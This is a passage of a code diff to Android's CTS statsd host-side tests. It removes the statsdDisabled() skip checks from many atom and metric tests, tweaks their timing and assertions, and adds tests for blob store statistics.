 import com.android.server.notification.SmallHash;
 import com.android.tradefed.log.LogUtil;
+
 import com.google.common.collect.Range;
 import com.google.protobuf.Descriptors;
+
 import java.io.File;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -125,7 +132,7 @@
     }
 
     public void testLmkKillOccurred() throws Exception {
-        if (statsdDisabled() || !"true".equals(getProperty("ro.lmk.log_stats"))) {
+        if (!"true".equals(getProperty("ro.lmk.log_stats"))) {
             return;
         }
 
@@ -149,9 +156,6 @@
     }
 
     public void testAppCrashOccurred() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
         createAndUploadConfig(atomTag, false);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -172,19 +176,17 @@
     }
 
     public void testAppStartOccurred() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_START_OCCURRED_FIELD_NUMBER;
 
         createAndUploadConfig(atomTag, false);
         Thread.sleep(WAIT_TIME_SHORT);
 
-        runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top");
+        runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top", 3_500);
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = getEventMetricDataList();
 
+        assertThat(data).hasSize(1);
         AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
         assertThat(atom.getPkgName()).isEqualTo(TEST_PACKAGE_NAME);
         assertThat(atom.getActivityName())
@@ -195,9 +197,6 @@
     }
 
     public void testAudioState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUDIO_OUTPUT, true)) return;
 
         final int atomTag = Atom.AUDIO_STATE_CHANGED_FIELD_NUMBER;
@@ -233,9 +232,6 @@
     }
 
     public void testBleScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -255,9 +251,6 @@
     }
 
     public void testBleUnoptimizedScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -299,9 +292,6 @@
     }
 
     public void testBleScanResult() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         final int atom = Atom.BLE_SCAN_RESULT_RECEIVED_FIELD_NUMBER;
@@ -317,10 +307,6 @@
     }
 
     public void testHiddenApiUsed() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         String oldRate = getDevice().executeShellCommand(
                 "device_config get app_compat hidden_api_access_statslog_sampling_rate").trim();
 
@@ -359,9 +345,6 @@
     }
 
     public void testCameraState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_CAMERA, true) && !hasFeature(FEATURE_CAMERA_FRONT, true)) return;
 
         final int atomTag = Atom.CAMERA_STATE_CHANGED_FIELD_NUMBER;
@@ -383,9 +366,6 @@
     }
 
     public void testCpuTimePerUid() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, null);
@@ -415,9 +395,6 @@
     }
 
     public void testDeviceCalculatedPowerUse() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
 
         StatsdConfig.Builder config = createConfigBuilder();
@@ -438,9 +415,6 @@
 
 
     public void testDeviceCalculatedPowerBlameUid() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
 
         StatsdConfig.Builder config = createConfigBuilder();
@@ -474,9 +448,6 @@
     }
 
     public void testDavey() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!DAVEY_ENABLED ) return;
         long MAX_DURATION = 2000;
         long MIN_DURATION = 750;
@@ -493,9 +464,6 @@
     }
 
     public void testFlashlightState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_CAMERA_FLASH, true)) return;
 
         final int atomTag = Atom.FLASHLIGHT_STATE_CHANGED_FIELD_NUMBER;
@@ -523,9 +491,6 @@
     }
 
     public void testForegroundServiceState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.FOREGROUND_SERVICE_STATE_CHANGED_FIELD_NUMBER;
         final String name = "testForegroundService";
 
@@ -552,9 +517,6 @@
 
 
     public void testForegroundServiceAccessAppOp() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.FOREGROUND_SERVICE_APP_OP_SESSION_ENDED_FIELD_NUMBER;
         final String name = "testForegroundServiceAccessAppOp";
 
@@ -595,9 +557,6 @@
     }
 
     public void testGpsScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
         // Whitelist this app against background location request throttling
         String origWhitelist = getDevice().executeShellCommand(
@@ -634,10 +593,6 @@
     }
 
     public void testGnssStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get GnssMetrics as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.GNSS_STATS_FIELD_NUMBER, null);
@@ -676,7 +631,7 @@
                 assertThat(state.getLocationReports()).isGreaterThan((long) 0);
                 assertThat(state.getLocationFailureReports()).isAtLeast((long) 0);
                 assertThat(state.getTimeToFirstFixReports()).isGreaterThan((long) 0);
-                assertThat(state.getTimeToFirstFixMilliS()).isGreaterThan((long) 0);
+                assertThat(state.getTimeToFirstFixMillis()).isGreaterThan((long) 0);
                 assertThat(state.getPositionAccuracyReports()).isGreaterThan((long) 0);
                 assertThat(state.getPositionAccuracyMeters()).isGreaterThan((long) 0);
                 assertThat(state.getTopFourAverageCn0Reports()).isGreaterThan((long) 0);
@@ -703,9 +658,6 @@
     }
 
     public void testMediaCodecActivity() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
 
@@ -741,9 +693,6 @@
     }
 
     public void testOverlayState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
 
@@ -770,9 +719,6 @@
     }
 
     public void testPictureInPictureState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         String supported = getDevice().executeShellCommand("am supports-multiwindow");
         if (!hasFeature(FEATURE_WATCH, false) ||
                 !hasFeature(FEATURE_PICTURE_IN_PICTURE, true) ||
@@ -803,9 +749,6 @@
     }
 
     public void testScheduledJobState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         String expectedName = "com.android.server.cts.device.statsd/.StatsdJobService";
         final int atomTag = Atom.SCHEDULED_JOB_STATE_CHANGED_FIELD_NUMBER;
         Set<Integer> jobSchedule = new HashSet<>(
@@ -836,9 +779,6 @@
 
     //Note: this test does not have uid, but must run on the device
     public void testScreenBrightness() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int initialBrightness = getScreenBrightness();
         boolean isInitialManual = isScreenBrightnessModeManual();
         setScreenBrightnessMode(true);
@@ -873,9 +813,6 @@
             atom -> atom.getScreenBrightnessChanged().getLevel());
     }
     public void testSyncState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.SYNC_STATE_CHANGED_FIELD_NUMBER;
         Set<Integer> syncOn = new HashSet<>(Arrays.asList(SyncStateChanged.State.ON_VALUE));
         Set<Integer> syncOff = new HashSet<>(Arrays.asList(SyncStateChanged.State.OFF_VALUE));
@@ -891,14 +828,12 @@
         List<EventMetricData> data = getEventMetricDataList();
 
         // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getSyncStateChanged().getState().getNumber());
+        assertStatesOccurred(stateSet, data,
+            /* wait = */ 0 /* don't verify time differences between state changes */,
+            atom -> atom.getSyncStateChanged().getState().getNumber());
     }
 
     public void testVibratorState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!checkDeviceFor("checkVibratorSupported")) return;
 
         final int atomTag = Atom.VIBRATOR_STATE_CHANGED_FIELD_NUMBER;
@@ -926,9 +861,6 @@
     }
 
     public void testWakelockState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
         Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
                 WakelockStateChanged.State.ACQUIRE_VALUE,
@@ -962,9 +894,6 @@
     }
 
     public void testWakeupAlarm() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // For automotive, all wakeup alarm becomes normal alarm. So this
         // test does not work.
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
@@ -983,9 +912,6 @@
     }
 
     public void testWifiLockHighPerf() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_PC, false)) return;
 
@@ -1013,9 +939,6 @@
     }
 
     public void testWifiLockLowLatency() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_PC, false)) return;
 
@@ -1043,9 +966,6 @@
     }
 
     public void testWifiMulticastLock() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_PC, false)) return;
 
@@ -1077,9 +997,6 @@
     }
 
     public void testWifiScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
 
         final int atom = Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -1101,9 +1018,6 @@
     }
 
     public void testBinderStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         try {
             unplugDevice();
             Thread.sleep(WAIT_TIME_SHORT);
@@ -1151,9 +1065,6 @@
     }
 
     public void testLooperStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         try {
             unplugDevice();
             setUpLooperStats();
@@ -1205,10 +1116,6 @@
     }
 
     public void testProcessMemoryState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get ProcessMemoryState as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_STATE_FIELD_NUMBER, null);
@@ -1248,10 +1155,6 @@
     }
 
     public void testProcessMemoryHighWaterMark() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get ProcessMemoryHighWaterMark as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER, null);
@@ -1295,10 +1198,6 @@
     }
 
     public void testProcessMemorySnapshot() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get ProcessMemorySnapshot as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER, null);
@@ -1308,8 +1207,8 @@
         // Start test app and trigger a pull while it is running.
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
-            setAppBreadcrumbPredicate();
             Thread.sleep(WAIT_TIME_LONG);
+            setAppBreadcrumbPredicate();
         }
 
         // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
@@ -1345,7 +1244,7 @@
     }
 
     public void testIonHeapSize_optional() throws Exception {
-        if (statsdDisabled() || isIonHeapSizeMandatory()) {
+        if (isIonHeapSizeMandatory()) {
             return;
         }
 
@@ -1358,7 +1257,7 @@
     }
 
     public void testIonHeapSize_mandatory() throws Exception {
-        if (statsdDisabled() || !isIonHeapSizeMandatory()) {
+        if (!isIonHeapSizeMandatory()) {
             return;
         }
 
@@ -1410,10 +1309,6 @@
     }
 
     public void testRoleHolder() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Make device side test package a role holder
         String callScreenAppRole = "android.app.role.CALL_SCREENING";
         getDevice().executeShellCommand(
@@ -1453,10 +1348,6 @@
     }
 
     public void testDangerousPermissionState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED =  1 << 8;
         final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED =  1 << 9;
 
@@ -1500,10 +1391,6 @@
     }
 
     public void testDangerousPermissionStateSampled() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // get full atom for reference
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER, null);
@@ -1575,10 +1462,6 @@
     }
 
     public void testAppOps() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Set up what to collect
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.APP_OPS_FIELD_NUMBER, null);
@@ -1625,9 +1508,6 @@
     }
 
     public void testANROccurred() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.ANR_OCCURRED_FIELD_NUMBER;
         createAndUploadConfig(atomTag, false);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -1654,9 +1534,6 @@
     }
 
     public void testWriteRawTestAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.TEST_ATOM_REPORTED_FIELD_NUMBER;
         createAndUploadConfig(atomTag, true);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -1734,10 +1611,6 @@
     }
 
     public void testNotificationPackagePreferenceExtraction() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config,
                     Atom.PACKAGE_NOTIFICATION_PREFERENCES_FIELD_NUMBER,
@@ -1774,10 +1647,6 @@
     }
 
     public void testNotificationChannelPreferencesExtraction() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config,
                     Atom.PACKAGE_NOTIFICATION_CHANNEL_PREFERENCES_FIELD_NUMBER,
@@ -1818,10 +1687,6 @@
     }
 
     public void testNotificationChannelGroupPreferencesExtraction() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config,
                     Atom.PACKAGE_NOTIFICATION_CHANNEL_GROUP_PREFERENCES_FIELD_NUMBER,
@@ -1861,10 +1726,6 @@
     }
 
     public void testNotificationReported() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = getPulledConfig();
         addAtomEvent(config, Atom.NOTIFICATION_REPORTED_FIELD_NUMBER,
             Arrays.asList(createFvm(NotificationReported.PACKAGE_NAME_FIELD_NUMBER)
@@ -1891,9 +1752,6 @@
     }
 
     public void testSettingsStatsReported() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // Base64 encoded proto com.android.service.nano.StringListParamProto,
         // which contains two strings "font_scale" and "screen_auto_brightness_adj".
         final String encoded = "ChpzY3JlZW5fYXV0b19icmlnaHRuZXNzX2FkagoKZm9udF9zY2FsZQ";
@@ -1951,10 +1809,6 @@
     }
 
     public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         createAndUploadConfig(AtomsProto.Atom.INTEGRITY_CHECK_RESULT_REPORTED_FIELD_NUMBER);
 
         getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
@@ -1999,12 +1853,9 @@
         doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
             final AtomsProto.MobileBytesTransferByFgBg data =
                     ((Atom) atom).getMobileBytesTransferByFgBg();
-            if (data.getUid() == appUid) {
+            if (data.getUid() == appUid && data.getIsForeground()) {
                 assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
                         data.getRxPackets(), data.getTxPackets());
-                // IsForeground cannot be judged since foreground activity that launched
-                // while screen off (PROCESS_STATE_TOP_SLEEPING) will be treated as background
-                // in NetworkPolicyManagerService.
                 return true; // found
             }
             return false;
@@ -2017,25 +1868,27 @@
         doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
             final AtomsProto.DataUsageBytesTransfer data =
                     ((Atom) atom).getDataUsageBytesTransfer();
-            assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                    data.getRxPackets(), data.getTxPackets());
-            // TODO: verify the RAT type field with the value gotten from device.
-            if (subtypeCombined) {
-                assertThat(data.getRatType()).isEqualTo(NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-            } else {
-                assertThat(data.getRatType()).isGreaterThan(
-                        NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+            if (data.getState() == 1 /*NetworkStats.SET_FOREGROUND*/) {
+                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
+                        data.getRxPackets(), data.getTxPackets());
+                // TODO: verify the RAT type field with the value gotten from device.
+                if (subtypeCombined) {
+                    assertThat(data.getRatType()).isEqualTo(
+                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+                } else {
+                    assertThat(data.getRatType()).isGreaterThan(
+                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+                }
+
+                // Assert that subscription info is valid.
+                assertThat(data.getSimMcc()).matches("^\\d{3}$");
+                assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
+                assertThat(data.getCarrierId()).isNotEqualTo(
+                        -1); // TelephonyManager#UNKNOWN_CARRIER_ID
+
+                return true; // found
             }
-            // Foreground state cannot be judged since foreground activity that launched
-            // while screen off (PROCESS_STATE_TOP_SLEEPING) will be treated as background
-            // in NetworkPolicyManagerService.
-
-            // Assert that subscription info is valid.
-            assertThat(data.getSimMcc()).matches("^\\d{3}$");
-            assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
-            assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
-
-            return true;
+            return false;
         });
     }
 
@@ -2071,6 +1924,107 @@
         assertThat(atom.getState()).isEqualTo(AppBreadcrumbReported.State.START);
     }
 
+    public void testPushedBlobStoreStats() throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, Atom.BLOB_COMMITTED_FIELD_NUMBER, false);
+        addAtomEvent(conf, Atom.BLOB_LEASED_FIELD_NUMBER, false);
+        addAtomEvent(conf, Atom.BLOB_OPENED_FIELD_NUMBER, false);
+        uploadConfig(conf);
+
+        Thread.sleep(WAIT_TIME_SHORT);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
+
+        List<EventMetricData> data = getEventMetricDataList();
+        assertThat(data).hasSize(3);
+
+        BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
+        final long blobId = blobCommitted.getBlobId();
+        final long blobSize = blobCommitted.getSize();
+        assertThat(blobCommitted.getUid()).isEqualTo(getUid());
+        assertThat(blobId).isNotEqualTo(0);
+        assertThat(blobSize).isNotEqualTo(0);
+        assertThat(blobCommitted.getResult()).isEqualTo(BlobCommitted.Result.SUCCESS);
+
+        BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
+        assertThat(blobLeased.getUid()).isEqualTo(getUid());
+        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
+        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
+        assertThat(blobLeased.getResult()).isEqualTo(BlobLeased.Result.SUCCESS);
+
+        BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
+        assertThat(blobOpened.getUid()).isEqualTo(getUid());
+        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
+        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
+        assertThat(blobOpened.getResult()).isEqualTo(BlobOpened.Result.SUCCESS);
+    }
+
+    // Constants that match the constants for AtomTests#testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+
+    public void testPulledBlobStoreStats() throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder();
+        addGaugeAtomWithDimensions(config,
+                Atom.BLOB_INFO_FIELD_NUMBER,
+                null);
+        uploadConfig(config);
+
+        final long testStartTimeMs = System.currentTimeMillis();
+        Thread.sleep(WAIT_TIME_SHORT);
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
+        Thread.sleep(WAIT_TIME_LONG);
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_SHORT);
+
+        // Add commit callback time to test end time to account for async execution
+        final long testEndTimeMs =
+                System.currentTimeMillis() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
+
+        // Find the BlobInfo for the blob created in the test run
+        AtomsProto.BlobInfo blobInfo = null;
+        for (Atom atom : getGaugeMetricDataList()) {
+            if (atom.hasBlobInfo()) {
+                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
+                if (temp.getCommitters().getCommitter(0).getUid() == getUid()) {
+                    blobInfo = temp;
+                    break;
+                }
+            }
+        }
+        assertThat(blobInfo).isNotNull();
+
+        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
+
+        // Check that expiry time is reasonable
+        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
+                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
+        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
+                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
+
+        // Check that commit time is reasonable
+        final long commitTimeMs = blobInfo.getCommitters().getCommitter(
+                0).getCommitTimestampMillis();
+        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
+        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
+
+        // Check that WHITELIST and PRIVATE access mode flags are set
+        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
+        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage()).isEqualTo(
+                1);
+
+        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
+        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(getUid());
+
+        // Check that lease expiry time is reasonable
+        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(
+                0).getLeaseExpiryTimestampMillis();
+        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+    }
+
     private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
         assertThat(rxb).isGreaterThan(0L);
         assertThat(txb).isGreaterThan(0L);
@@ -2080,7 +2034,6 @@
 
     private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
             throws Throwable {
-        if (statsdDisabled()) return;
         if (!hasFeature(FEATURE_TELEPHONY, true)) return;
 
         // Get MobileBytesTransfer as a simple gauge metric.
@@ -2120,9 +2073,6 @@
     }
 
     public void testPackageInstallerV2MetricsReported() throws Throwable {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
         final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
                 new String[]{TEST_INSTALL_APK});
@@ -2137,9 +2087,6 @@
     }
 
     public void testPackageInstallerV2MetricsReportedForSplits() throws Throwable {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
 
         final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
@@ -2157,9 +2104,6 @@
     }
 
     public void testAppForegroundBackground() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
         Set<Integer> offStates = new HashSet<>(Arrays.asList(
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
index 4c0e4e6..7022732 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
@@ -44,9 +44,6 @@
 
     // Tests that the statsd config is reset after the specified ttl.
     public void testConfigTtl() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int TTL_TIME_SEC = 8;
         StatsdConfig.Builder config = getBaseConfig();
         config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
@@ -76,6 +73,7 @@
             Thread.sleep(10);
         }
         doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
+        Thread.sleep(WAIT_TIME_SHORT);
         report = getStatsdStatsReport();
         LogUtil.CLog.d("got following statsdstats report: " + report.toString());
         foundActiveConfig = false;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
index 81eb4f5..9eccad6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
@@ -45,9 +45,6 @@
 public class CountMetricsTests extends DeviceAtomTestCase {
 
     public void testSimpleEventCountMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int matcherId = 1;
         StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
         builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
@@ -72,9 +69,6 @@
         assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
     }
     public void testEventCountWithCondition() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int startMatcherId = 1;
         int endMatcherId = 2;
         int whatMatcherId = 3;
@@ -132,9 +126,6 @@
     }
 
     public void testEventCountWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int startMatcherId = 1;
         int startMatcherLabel = 1;
         int endMatcherId = 2;
@@ -259,9 +250,6 @@
     }
 
     public void testPartialBucketCountMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int matcherId = 1;
         StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
         builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
@@ -316,9 +304,6 @@
     }
 
     public void testSlicedStateCountMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         int whatMatcherId = 3;
@@ -430,10 +415,6 @@
     }
 
     public void testSlicedStateCountMetricNoReset() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         int whatMatcherId = 3;
         int stateId = 4;
         int onStateGroupId = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
index 75d86a8..1a553b2 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
@@ -48,10 +48,6 @@
     private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
 
     public void testDurationMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int label = 1;
         // Add AtomMatchers.
         AtomMatcher startAtomMatcher =
@@ -105,10 +101,6 @@
     }
 
     public void testDurationMetricWithCondition() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int durationLabel = 1;
         final int conditionLabel = 2;
 
@@ -218,10 +210,6 @@
     }
 
     public void testDurationMetricWithActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int activationMatcherId = 5;
         final int activationMatcherLabel = 5;
         final int ttlSec = 5;
@@ -311,10 +299,6 @@
     }
 
     public void testDurationMetricWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int durationLabel = 1;
         final int conditionLabel = 2;
         final int activationMatcherId = 5;
@@ -488,9 +472,6 @@
     }
 
     public void testDurationMetricWithDimension() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
